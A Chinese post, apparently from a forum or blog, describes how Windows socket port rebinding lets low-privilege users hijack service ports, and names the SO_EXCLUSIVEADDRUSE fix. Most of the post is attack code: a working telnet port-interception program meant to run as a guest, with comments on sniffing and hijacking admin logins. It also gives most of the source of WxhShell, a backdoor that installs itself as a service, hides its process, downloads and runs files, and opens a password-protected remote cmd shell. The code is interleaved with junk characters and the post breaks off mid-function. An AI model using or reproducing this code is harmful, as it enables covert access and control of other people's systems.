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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #6|ve?`I s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?sdSi-- tDL.+6/ saddr.sin_family = AF_INET; HoAg8siQ RRS)7fFm saddr.sin_addr.s_addr = htonl(INADDR_ANY); D`^wj FF M&/4SVBF bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9yTdbpY tKUW 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 yW'{Z]09 [Lje?M* r 这意味着什么?意味着可以进行如下的攻击: QAxy?m,' e< @$(w 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 KPz0;2} BZ.l[LMp 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ${z#{c1 eC<RM Q4 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 sjLMM_' OW};i| 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ;
k.@= ui)mYR[8X 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ix_w.f=8 k%~;mu"4} 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Bq)dqLwk f:\)!
&W 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [n/c7Pe /
S' + #include :l]qTCmY #include n.9k5r@ #include g`'!Vgd?M[ #include W"@'}y DWORD WINAPI ClientThread(LPVOID lpParam); ~fD\=- S1 int main() %,vq@..^ { zdPJ>PNU WORD wVersionRequested; T;B FO5G@ DWORD ret; L bJf5xdi WSADATA wsaData; 2Cy,#X%j> BOOL val; e)?}2 SOCKADDR_IN saddr; +$L}B-F SOCKADDR_IN scaddr; m,kYE9{ int err; p+?`ru SOCKET s; l:@=9Fp> SOCKET sc; ,\
1X\ int caddsize; KNN{2thy ` HANDLE mt; 9teP4H}m DWORD tid; 0/]h"5H3 wVersionRequested = MAKEWORD( 2, 2 ); D`G; C err = WSAStartup( wVersionRequested, &wsaData ); `~d7l@6F if ( err != 0 ) { RYvdfj.ij printf("error!WSAStartup failed!\n"); DRRQ]eK0 return -1; CB>W# P% } (|AZO! saddr.sin_family = AF_INET; O,
eoO,gB )b]!IP3 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ENqZ=Lyq V-(]L:[JQ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Z>g&%3j saddr.sin_port = htons(23); l*hWws[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2>X yrG { mgH~GKf^ printf("error!socket failed!\n"); {9 |*au(K return -1; ;|XX^ } 0#'MR., val = TRUE; fCNQUK{Gs5 //SO_REUSEADDR选项就是可以实现端口重绑定的 e}{#VB< if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *^;
MWI { }XUI1H]jk printf("error!setsockopt failed!\n"); e^@ZN9qQ return -1; Bt")RG } M1/(Xla3 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 'C7R*
P //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 aO}hE2] //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 xC9?rLUZ O{3X`xAf if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) uHacu<$= { J?#vL\8 ret=GetLastError(); 7wW x 8 printf("error!bind failed!\n"); PhuHfw4$y, return -1; LFi{Q{E) } j|[$P4w}U listen(s,2); 3r[F1z2B while(1) _nz_.w0H9 { ,<P"\W caddsize = sizeof(scaddr); 9 9:.j= //接受连接请求 <<cezSm sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `Mg3P_}= if(sc!=INVALID_SOCKET) l v:GiA"X { 'z}9BGR! mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
ZaaBg if(mt==NULL) }sqFvab< { /,~]1&?}1 printf("Thread Creat Failed!\n"); ,f)+|?wz break; !.# g } ]vR
Ol. } ex~"M&^ CloseHandle(mt); 32 j){[PL3 } 0 5?`W&:9 closesocket(s); F> Ika=z, WSACleanup(); 8VU(+%X return 0; WQCnkP } JDa_;bqL DWORD WINAPI ClientThread(LPVOID lpParam) POl-S<QV { E[ -yfP~[ SOCKET ss = (SOCKET)lpParam; s=:LS SOCKET sc; OB=bRLd.IR unsigned char buf[4096]; ZR=i*y SOCKADDR_IN saddr; @mu{*. &
long num; %/\sn<6C} DWORD val; G2n.NW#d4 DWORD ret; 5FB3w48 //如果是隐藏端口应用的话,可以在此处加一些判断 :8bq0iqsV //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 lBG=jOS saddr.sin_family = AF_INET;
Rq2bj_ j saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); QYDI-<.( saddr.sin_port = htons(23); K~-V([tWg if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )AieO-4* { $aT '~|? printf("error!socket failed!\n"); &
\5Ur^t return -1; u&={hJ&7 }
>_]Ov:5 val = 100; # ^,8JRA if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1xkk5\3] { 9+ve0P7$ ret = GetLastError(); KU/QEeqbrp return -1; P^Og(F8; } %sZ3Gpi if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8N j} { _(=g[=Mer ret = GetLastError(); )iIsnM return -1; t vW0 W } $u,A/7\s if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qD"~5vtLqQ { )Mflt0fp printf("error!socket connect failed!\n"); NODg_J~T closesocket(sc); 4\V/A+<W closesocket(ss); Ssir?ZUm return -1; peS4<MqWu } T$FKn while(1) 753gcY#i { .3XSF$; //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 aRn""3[ //如果是嗅探内容的话,可以再此处进行内容分析和记录 t=:5?}J.Q$ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $Sm iN'7; num = recv(ss,buf,4096,0); ]I/* J^ if(num>0) iSX:H; send(sc,buf,num,0); ZV5IZ&V! else if(num==0) tycVcr\( break; 1 Cz}|#U num = recv(sc,buf,4096,0); !p36OEx if(num>0) XH!n{Of send(ss,buf,num,0); d{WOO)j else if(num==0) $mq+/|bn break; MfI+o<{r } SFP?ND+7 closesocket(ss); *fy aAv closesocket(sc); ,5~C($-t return 0 ; bFA
lC } y~t
e!C ]-heG'y]{ (yT&&_zY4 ========================================================== 9zBt
a g[ @Q iy 下边附上一个代码,,WXhSHELL D7thLqA $_a/!)bP ========================================================== 8ce'G"
b \:JY[s/ #include "stdafx.h" md9JvbB 4/SltWU #include <stdio.h> *ZRk) #include <string.h> 6khm@}} #include <windows.h> W8]?dL}| #include <winsock2.h> _S &6XNV #include <winsvc.h> uE,TEa9; #include <urlmon.h> ^MhMYA B/~ubw #pragma comment (lib, "Ws2_32.lib") `'(@"-L:7 #pragma comment (lib, "urlmon.lib") D iHj!tZN ^h`rA"F\ #define MAX_USER 100 // 最大客户端连接数 cI7a TLC"s #define BUF_SOCK 200 // sock buffer }LWrtmc #define KEY_BUFF 255 // 输入 buffer :.-KM7tDI1 L&5zr_ #define REBOOT 0 // 重启 m+pK,D~{" #define SHUTDOWN 1 // 关机 WdJeh:h ?WS.RB e2 #define DEF_PORT 5000 // 监听端口 0!axAvBV
n:<Xp[;R #define REG_LEN 16 // 注册表键长度 ay{]Vqi9 #define SVC_LEN 80 // NT服务名长度 *`bES V
: 6l"4F6 // 从dll定义API @'J~(#} typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tg%Sn+: typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O15~\8#' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &MONg=s3 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1iM(13jW d-8g // wxhshell配置信息 oO;<$wx2t struct WSCFG { 'Ze&
LQ int ws_port; // 监听端口 bg|=)sw4 char ws_passstr[REG_LEN]; // 口令 \w$e|[~ int ws_autoins; // 安装标记, 1=yes 0=no !83 N#Y_Mz char ws_regname[REG_LEN]; // 注册表键名 z`dnS]q9 char ws_svcname[REG_LEN]; // 服务名 BSEP*#s char ws_svcdisp[SVC_LEN]; // 服务显示名 Bq,Pk5b char ws_svcdesc[SVC_LEN]; // 服务描述信息 pqbKPpG char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ufA0H
J)Yg int ws_downexe; // 下载执行标记, 1=yes 0=no 7Z81+I|&8 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" `V[ hE
r| char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4J[csU Pn}oSCo }; xaIe7.Z"xo ciPq@kMV // default Wxhshell configuration Ao9|t;i struct WSCFG wscfg={DEF_PORT, .MxMBrM "xuhuanlingzhe", /w*HxtwFmD 1, eX^ F^( "Wxhshell", p,)pz_M "Wxhshell", t |:XSJ9 "WxhShell Service", Fow{-cs_p "Wrsky Windows CmdShell Service", E3_ 5~> "Please Input Your Password: ", !-B|x0fs 1, }OgZZ8-_M " http://www.wrsky.com/wxhshell.exe", <ou=f' "Wxhshell.exe" 'sjks sy.3 }; dpcv'cRfw "[ >ql1t{b // 消息定义模块 Op iVQr: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lYrW"(2 char *msg_ws_prompt="\n\r? for help\n\r#>"; ixF char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 0 n)UvJ char *msg_ws_ext="\n\rExit."; 6"bdbV=t char *msg_ws_end="\n\rQuit."; Hg[AulNna char *msg_ws_boot="\n\rReboot..."; f[$Z<:D-ve char *msg_ws_poff="\n\rShutdown..."; W TC/mcS char *msg_ws_down="\n\rSave to "; oJ0
#U 73E[O5?b char *msg_ws_err="\n\rErr!"; t(- 5l char *msg_ws_ok="\n\rOK!"; X5P1wxk' 7(zY:9|( char ExeFile[MAX_PATH]; SciEHI# int nUser = 0; "3a_C,\ HANDLE handles[MAX_USER]; ~uO9>(?D int OsIsNt; m\|ie8 kQtnT7 SERVICE_STATUS serviceStatus; I9jzR~T SERVICE_STATUS_HANDLE hServiceStatusHandle; $K~ t'wr ARid // 函数声明 ]~m2#g% int Install(void); Ktf lbI! int Uninstall(void); #_fL[j& int DownloadFile(char *sURL, SOCKET wsh); ,09d"7`X
int Boot(int flag); =Wl}Pgo! void HideProc(void); |?uUw$oh int GetOsVer(void); X>rv{@K bL int Wxhshell(SOCKET wsl); {(`xA,El void TalkWithClient(void *cs); '.tg\]| int CmdShell(SOCKET sock); +dK;\wT int StartFromService(void); VQ`a-DL int StartWxhshell(LPSTR lpCmdLine); ljO t~@Ea 3C;nC?]K VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :#spL*FIx VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7cT ~u _O>8jH!# // 数据结构和表定义 z_ia3k< SERVICE_TABLE_ENTRY DispatchTable[] = >z69r0)> { cpBTi {wscfg.ws_svcname, NTServiceMain}, 'sTMUPg` {NULL, NULL} G9a6 $K)b }; {rZ )! +S}/6dg // 自我安装 ^y&sKO int Install(void) 1bJrEXHXy { #ZpR.$`k char svExeFile[MAX_PATH]; 7-MkfWH2b6 HKEY key; AU^5N3%j strcpy(svExeFile,ExeFile); !qVnziE,, SH M@H93 // 如果是win9x系统,修改注册表设为自启动 $r=tOD4; if(!OsIsNt) { /%T d( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xy1R_*.F^T RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y[sO0u\ RegCloseKey(key); 8Ir
= @ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [cf!%3>53 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I>z0)pB RegCloseKey(key); i6D66 E return 0; 5KDN8pJN } x1R<oB| } =GSe$f? } "94qBGf else { %13V@'e9 )*n2,n // 如果是NT以上系统,安装为系统服务 +OC~y: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q !G^CG if (schSCManager!=0) k'JfXrW<! { =-|,v* SC_HANDLE schService = CreateService O4fl$egQU ( 8P3"$2q schSCManager, 5]yby"Z?} wscfg.ws_svcname, z;ko ) wscfg.ws_svcdisp, eUE(vn# SERVICE_ALL_ACCESS, ,fW%Qv SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C{8(ew SERVICE_AUTO_START, lr_c SERVICE_ERROR_NORMAL, P+t`Rw svExeFile, Ov PTgiI!N NULL, |(\T;~7' NULL, @fG'X
NULL, ?hS&OtW
NULL, c.eA]m q NULL i-*ZW: ); %?z8*G]M if (schService!=0) }IGoPCV| { j$Z:S~* CloseServiceHandle(schService); <mX EX`? CloseServiceHandle(schSCManager); xl4 A< strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Pmj%QhOYE strcat(svExeFile,wscfg.ws_svcname); M|xs>+r* if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2Bg0
M RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y]6kA5 RegCloseKey(key); eT6T@C]( return 0; FA3YiX(-e } q,v)X } 9S]]KEGn4 CloseServiceHandle(schSCManager); ==)q{e5 } Yb;$z' } jM!Q
04( 3r-oZ8/n return 1; R /0zB } ZF~@a+o ,37\8y?o\ // 自我卸载 's_[#a;Vp int Uninstall(void) g,]GzHV1 { Ek%mX" HKEY key; XlDN)b5v{ EwKFT
FL if(!OsIsNt) { @pkQ2OM
2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Usz O--.C RegDeleteValue(key,wscfg.ws_regname); ap|$8G RegCloseKey(key); T_/ n#e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0l+[[ZTV RegDeleteValue(key,wscfg.ws_regname); H4"'&A7$ RegCloseKey(key); s2*~n_B return 0; -h8@B+ } y0_z_S#gO } r!e:sJAB. } e> -fI_+b else { h"$ )[k~ mfCp@1;26 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G3_HX<|f* if (schSCManager!=0) qbD>)}:1 { ykat0iqo SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;Qq<5I"y if (schService!=0) m;@8z[
^5 { f1,VbuS9I if(DeleteService(schService)!=0) { o4F(X0 CloseServiceHandle(schService); ALXie86a8 CloseServiceHandle(schSCManager); 7w51UmO return 0; P}8cSX9 } R;3nL[{U CloseServiceHandle(schService); ^bG91"0A } !@3"vd{^ CloseServiceHandle(schSCManager); _`.Wib+ } Ev>P|kV&A } PQJw"[N/YM <`'T#e$ return 1; 5/YGu=, } ^i8"eF _{&bmE // 从指定url下载文件
Ci(c`1av int DownloadFile(char *sURL, SOCKET wsh) ( we)0AxF' { ;fe~PPT HRESULT hr; 0"J0JcFX char seps[]= "/"; T7R,6qt char *token; E)F#Z=) char *file; /l>!7 char myURL[MAX_PATH]; jT=fq'RK char myFILE[MAX_PATH]; CWY-}M buKSZ strcpy(myURL,sURL); ]e6$ ={ token=strtok(myURL,seps); Q4ZKgcC while(token!=NULL) 8@,8j!$8G { s((c@)M file=token; GUn$IPOM token=strtok(NULL,seps); B]u !BBjC } ,{2= nb[ -an~&C5\ GetCurrentDirectory(MAX_PATH,myFILE); sWv!ig_ strcat(myFILE, "\\"); keb.%cb= strcat(myFILE, file); 9 iV_ send(wsh,myFILE,strlen(myFILE),0); t$z 5m<8 send(wsh,"...",3,0); pS+hE4D hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Te2C<c if(hr==S_OK) (tvfF0~ return 0; (lg~}Jwq else ~@mNR^W-W return 1; %E2V$l0 i5cK5MaD } j:E3c\a =z!/:M // 系统电源模块 unc8WXW int Boot(int flag) L<k(stx~ { `Z^\<{z HANDLE hToken; LK+67Y{25 TOKEN_PRIVILEGES tkp; P&IS$FC.\ IoZ_zz0 if(OsIsNt) { bF'Jm*f OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZRj/lQ2D LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^cCNQS}r tkp.PrivilegeCount = 1; S$ n? tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m:6*4_! AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \+j:d9? if(flag==REBOOT) { ),J6:O& if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `Wd4d2aLG return 0; wvRwb } M>d^.n else { 6TDa#k5v if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _B0C]u3D return 0; I,W`s } dkg|
kw' } uCoy~kt292 else { ny:/a if(flag==REBOOT) { RTr"#[ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I]a [Ngj return 0; f7/M _sx } OlP1Zd/l else { q$PO.# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {F;"m&3Lt return 0; ^hcK& } '^`iF,rg } wZVLpF+7 KW!+Ws return 1; gx8i|] } Tvt(nWn(H1 5Od&-~O // win9x进程隐藏模块 t;`ULp~& void HideProc(void) /ke[nr { Z7> Nd$E{ g}d[j
I9 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i.{.koH< if ( hKernel != NULL ) 6O_l;A[=1 { OIDP#K pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rl,i,1t ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _nM 7SK FreeLibrary(hKernel); Hk'R!X } /U})mdFm <G'M/IR a return; md `=2l } W ",yq| N:;z~` // 获取操作系统版本 .03Rp5+v int GetOsVer(void) tUt_Q;%yC { p3>Md?e OSVERSIONINFO winfo; D#A6s32a winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TKQ^D GetVersionEx(&winfo); Xzl$Qc if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Xck`"RU<xA return 1; =;(L$:l~ else ~E/=nv$ return 0; v#EFklOP } [8Fn0A M:dH> // 客户端句柄模块 N<b~,[yCd> int Wxhshell(SOCKET wsl) T;]Ob3(BpW { `"o{MaFA SOCKET wsh; virt[5w struct sockaddr_in client; (\'$$ DWORD myID; zp5ZZcj_ ZL:SJ,C while(nUser<MAX_USER) 6AoKuT; { IJVzF1vC int nSize=sizeof(client); [] el4.J, wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lF
t^dl^ if(wsh==INVALID_SOCKET) return 1; ?C- ju8]| m>RtKCtP handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `X)A$lLr if(handles[nUser]==0) [b_qC'K[ closesocket(wsh); o+.ySSBl+ else `F]
nUser++; pXvys]@ } nSRNd
A WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |o+*Iy) `sDLxgwI return 0; 2j#Dwa(lZQ } U#&+n-npO Kr[oP3 // 关闭 socket s4QCun~m void CloseIt(SOCKET wsh) Lz!JLiMEET { ANgt\8 closesocket(wsh); P)#h4|xZ nUser--; ?^2nrh,n+ ExitThread(0); q!W=U8` } hC9EL=
A ?z2! ? // 客户端请求句柄 {3.n!7+ void TalkWithClient(void *cs) 7t1as. { 5E*Qqe "vg.{ SOCKET wsh=(SOCKET)cs; jgS3# char pwd[SVC_LEN]; ANJL8t-m char cmd[KEY_BUFF]; tfu`_6 char chr[1]; }+Q4s] int i,j; b^&azUkMN bWSc&/9y while (nUser < MAX_USER) { *l;S"}b*,_ JU.!< if(wscfg.ws_passstr) { $7W5smW/ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [$pb //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jD%|@ux //ZeroMemory(pwd,KEY_BUFF); |>[qC O i=0; CyS%11L while(i<SVC_LEN) { lHDZfwJ&C1 G0~Z|P // 设置超时 99(@O,*(Y fd_set FdRead; %-$BtR2@o struct timeval TimeOut; U{/fY/kq FD_ZERO(&FdRead); l~w^I|M^C FD_SET(wsh,&FdRead); seRf q& TimeOut.tv_sec=8; T?QW$cU!e: TimeOut.tv_usec=0; @56*r@4:q int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lSlZ^.& if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~( 0bqt3c u{h67N if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); znSlSQpTv pwd =chr[0]; I$p1^8~L if(chr[0]==0xd || chr[0]==0xa) { <QO1Yg7} pwd=0; 0kNKt(_ break; D4C:%D } ;obOr~Jx'5 i++; d7mn(= & } }2;iIw` <:NahxIlu // 如果是非法用户,关闭 socket B- $?5Ft! if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vm{8x o } +2}cR66% [ZC\8tP`V send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 93:oXyFjD send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qe\vx1GRLH Xdo\DQn while(1) { ?Z_T3/ f Kh[l};/F ZeroMemory(cmd,KEY_BUFF); ~,E }^ l
U8pX$ // 自动支持客户端 telnet标准 @;$cX2 j=0; :CK`v6 Qs while(j<KEY_BUFF) { DB65vM if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,|3_@tUl cmd[j]=chr[0]; de)4)EzUP if(chr[0]==0xa || chr[0]==0xd) { X 6tJ cmd[j]=0; %8h=_(X\7 break; ~*"ZF-c, } zi3v,Kq j++; iETUBZ } ~[dL:=?c WcoA)we // 下载文件 M_Q`9 if(strstr(cmd,"http://")) { ZSW@,Ti send(wsh,msg_ws_down,strlen(msg_ws_down),0); c"-X:m" if(DownloadFile(cmd,wsh)) Maq`Or|4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); L+p}%!g else Q{?\qCrrYl send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dNNXMQ0" } D)?%kNeA else { \#LDX,= rab$[?] switch(cmd[0]) { fP5i3[T 5>+@.hPX // 帮助 TfT^.p* case '?': { ?jUgDwc(w send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VFx[{Hy break; li
v=q } /*{'p!? // 安装 |>.MH case 'i': { @'):rFr@F if(Install()) 3<"j/9;K' send(wsh,msg_ws_err,strlen(msg_ws_err),0); @&`^#pok else Xwdcy J! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i&^JG/a break; {Ji&rk}NP } )B"{B1( // 卸载 2uN3:_w case 'r': { /;d 5p if(Uninstall()) dO%f ;m># send(wsh,msg_ws_err,strlen(msg_ws_err),0); R!QR@*N else H"(#Tp ZTE send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M!5=3>Z break; X-fWdoN @- } J$42*S Y // 显示 wxhshell 所在路径 f=}T^Z< case 'p': { ymqv@Byi8A char svExeFile[MAX_PATH]; %K')_NS@ strcpy(svExeFile,"\n\r"); n44 T4q strcat(svExeFile,ExeFile); EyVu-4L:# send(wsh,svExeFile,strlen(svExeFile),0); a>W++8t1 ; break; Md@x2Ja } S|)atJJ0G" // 重启 3@\/5I xn case 'b': { e)B1)c 8s send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @vyEN.K%mm if(Boot(REBOOT)) 8 yi#] 5`Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); dm[cl~[
Q else { b@8z+,_ closesocket(wsh); R:&y@/JY8[ ExitThread(0); ]xMZo){[| } z9 Ch %A{ break; ~cSXBc,+ } du$M // 关机 ,7bhUE/VB case 'd': { M1Ff ,]w send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,cS# if(Boot(SHUTDOWN)) &'&)E(( send(wsh,msg_ws_err,strlen(msg_ws_err),0); }xt^}:D else { mj e9i closesocket(wsh); s|A[HQUtJ ExitThread(0); e+-#/i* } 6q8}8;STTY break; f3G:J<cL } e
ar:`11z // 获取shell No6-i{HZ case 's': { (wq8[1Wzup CmdShell(wsh); :%J;[bS+ closesocket(wsh); ]r0j ExitThread(0); iTq&h=(n break; YcX"Z~O6j= } 9ghzK?Yc // 退出 X"d"a={] case 'x': { y3b"'-% send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m4oj1h_4 CloseIt(wsh); tmq?h%O> break; }:c~5whN } qQ^CSn98J // 离开 B-w`mcqp$ case 'q': { u9KT_`
) send(wsh,msg_ws_end,strlen(msg_ws_end),0); '_4apyq| closesocket(wsh); _,60pr3D' WSACleanup(); xBc|rqge exit(1); !KOa'Ic$V break; |[iO./zP } !`H{jwH } /"st
sF } jQm~F`z >Rt:8uurAG // 提示信息 }=R0AKz!Cv if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L5 Cfa- } K/Yeh<_& } ![ce } y[.lfW?) return; EG qu-WBS } z-kv{y*Hu
C=r`\W // shell模块句柄 X41Qkf{ int CmdShell(SOCKET sock) <a$!S { N}%AUm/L STARTUPINFO si; *j]Bo,AC ZeroMemory(&si,sizeof(si)); zn^7#$fC si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7L&,Na si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0]*W0#{Zj PROCESS_INFORMATION ProcessInfo; $t^Td< char cmdline[]="cmd"; Ewr2popK CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kI!@J6
return 0; ~ !mY0odH } *5oQZ".vA* $dKfUlO // 自身启动模式 ww7nQ}H5( int StartFromService(void) >Tl/3{V { )8g&lyT typedef struct u9v,B$S { GqsV6kH DWORD ExitStatus; `3ha~+Goo! DWORD PebBaseAddress; 5EQ)pH+ DWORD AffinityMask; aWRi`poZT DWORD BasePriority; @0PWbs$ ULONG UniqueProcessId; BNjMq ULONG InheritedFromUniqueProcessId; H.XyNtJ } PROCESS_BASIC_INFORMATION; "}1cQ|0a km9#lK PROCNTQSIP NtQueryInformationProcess; 7K.],eo0 BNE:,I*& static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kZG;\ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hQe78y G)[gLD{g? HANDLE hProcess; xLFMC?I PROCESS_BASIC_INFORMATION pbi; K]B`&ih |pBFmm* HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D:j5/ * if(NULL == hInst ) return 0; R'tvF$3=i A9@coP5 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zL}`7*d:v g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, 